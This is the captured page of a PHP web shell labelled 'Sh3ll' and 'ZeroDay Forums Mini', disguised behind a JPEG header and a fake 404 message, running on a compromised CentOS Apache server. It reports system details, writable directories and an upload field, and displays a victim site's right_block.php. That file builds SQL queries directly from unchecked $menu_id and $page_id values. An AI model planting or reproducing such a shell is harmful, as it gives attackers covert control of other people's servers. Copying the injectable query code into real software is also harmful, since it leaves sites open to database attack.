ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkeweb2/code/detail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkeweb2/code/detail/right_block.php
<?php
$q_r_block = $DB->query("SELECT a.* FROM tb_block a LEFT JOIN tb_block_page b ON a.block_id=b.block_id WHERE a.block_type=3 AND b.menus_id='$menu_id' ORDER BY a.block_pos ASC, a.block_id ASC");
$txt_list = '';
while ($r_r_block = $DB->fetch_row($q_r_block)){
    $arr_block['id'] = $r_r_block['block_id'];
    $arr_block['name'] = $r_r_block['block_title'];
    $arr_block['content'] = htmlspecialchars_decode(html_entity_decode($r_r_block['block_detail']));
    $list_r_block[] = $arr_block;
}
$where = " AND id IN (SELECT pages_id FROM tb_menus_pages WHERE menus_id='".$menu_id."' ) AND id!='$page_id' ";
$query = $DB->query("SELECT * FROM tb_pages WHERE 1 ".$where." ORDER BY `pos` ASC, `noibat` DESC, status ASC LIMIT 5");
$txt_same = '';
$i = 0;
while($row = $DB->fetch_row($query)){
    $ftitle_page = $func->format_string($row['title']);
    $txt_no_border = '';
    if($i==0){
        $txt_no_border = 'no-border';
    }
    $txt_same .= '<div class="recent-post-widget '.$txt_no_border.'">
                <div class="post-img">
                    <a href="'.$menu_ftitle.'-'.$menu_id.'/'.$ftitle_page.'-'.$row['id'].'/"><img src="'.$row['path_img'].'" alt=""></a>
                </div>
                <div class="post-desc">
                    <a href="'.$menu_ftitle.'-'.$menu_id.'/'.$ftitle_page.'-'.$row['id'].'/">'.$row['title'].'</a>
                    <span class="date-post"><i class="fa fa-calendar"></i> '.date('d/m/Y',$row['time']).'</span>
                </div>
            </div>';
    $i++;
}
?>
<div class="col-lg-4 col-md-12 order-last">
    <div class="widget-area">
        <?php
        if(isset($list_r_block) and !empty($list_r_block)){
            foreach($list_r_block as $block){
                echo $block['content'];
            }
        }
        ?>

        <div class="recent-posts mb-50">
            <div class="widget-title">
                <h3 class="title">Bài viết gần đây</h3>
            </div>
            <?php echo $txt_same; ?>
        </div>
    </div>
</div>

ZeroDay Forums Mini